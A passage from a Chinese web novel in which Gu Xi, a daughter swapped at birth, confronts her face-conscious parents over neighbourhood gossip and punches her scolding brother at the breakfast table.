江惠君脸色大变,“是谁说的?!真是太过分了,居然说这种话……”她也气得不行,生气之余又有些心虚。 顾溪道:“大家都在说,你们要是不信,可以私底下去问。”她歪头想了想,“妈,你不是和陈芸笙她妈交好的吗,可以去问她,她应该会告诉你。” 见她连人选都有,那应该是真的。 江惠君和陈芸笙她妈其实不算交好,只是同在一个大院住着,陈芸笙她妈是个爽快人,做事敞亮,和很多人都聊得来,在众人看来,这两人确实交情很不错,要不然陈芸笙不会和顾远湘玩在一块,父母的交情也会影响到孩子。 顾茂文和江惠君僵硬地坐在那里,完全忘记反应。 夫妻俩都是爱面子的人,最难以忍受的就是自家被人看笑话,希望一辈子体体面面的。 他们夫妻这辈子最不体面的事,就是出了抱错孩子的事,以及亲生女儿被那对愚昧无知的乡下夫妻养得又丑又土,胆小怯懦,上不得台面,给他们丢尽了脸。 正是如此,他们才会更偏爱被他们养得大方漂亮又有才华的顾远湘,这才应该是他们女儿该的有样子。 心里虽然这么想,但他们面上却要做出一副不在意的样子,仿佛没有嫌弃亲生女儿丢脸,觉得他们对两个孩子都是一视同仁,甚至送顾溪去读书,五年时间就让她从小学读到高中毕业,没有亏待哪个。 他们家还是和和睦睦的,没有什么变化。 哪知道外头居然传成这样。 只要想到家属大院里的那些人居然如此看待他们,私底下不道怎么嘲笑,夫妻俩就难以忍受。 顾茂文又气又怒,倏地站起,哪知道因为动作太大被绊倒,连人带椅往后仰,直接摔下去。 “老顾!”江惠君惊叫。 其他人赶紧起身去扶他,挤在一块儿,七嘴八舌地叫人,一阵闹哄哄的。 幸好顾茂文只是摔了一跤,人看着没什么,就是昨晚闪到的腰疼得厉害。 他铁青着脸,被江惠君和顾远征扶起来重新坐下。 等他们看到依然坐在那里,不为所动,居然还在慢吞吞吃早餐的顾溪,都忍不住动怒。 顾远征厉声喝道:“顾溪,你真要这么气爸妈吗?” 他能原谅顾溪打人、砸房间的那些行为,但她这么气父母就太过了。 顾溪抬眼看他,又看向顾茂文和江惠君。 顾茂文的脸色十分难看,江惠君避开她的目光,像是不忍,又像是在生气。 突然,顾溪用力地将手中的筷子朝顾远征砸过去,冷声说:“你怎么能凭白诬赖人?明明是外头的人笑话他们,让他们生气的,关我什么事?那些话又不是我传的!” 顾远征:“那你也不能说得这么直接,让爸妈听了难受。” “难道我不说那些闲话就不存在,他们就不难受?” 顾溪生气地站了起来,朝他走过去,一把扯住他的衣服,然后一拳朝他挥过去,将人打倒在地。 顾远征翻倒在地,下巴及嘴角的地方瞬间就青了一块。 “啊——” 江惠君和顾远湘吓得叫出声。 顾远辉身体一滑,条件反射性地缩到桌子底下,抱住脑袋,这是被顾溪打出心理阴影了。 顾溪居高临下地看着地上怒瞪着自己的顾远辉,神色冷漠,“下次再让我听到这种话,我打烂你的嘴!” 说完,她转身去厨房重新拿了一双干净的筷子,坐下来继续喝粥。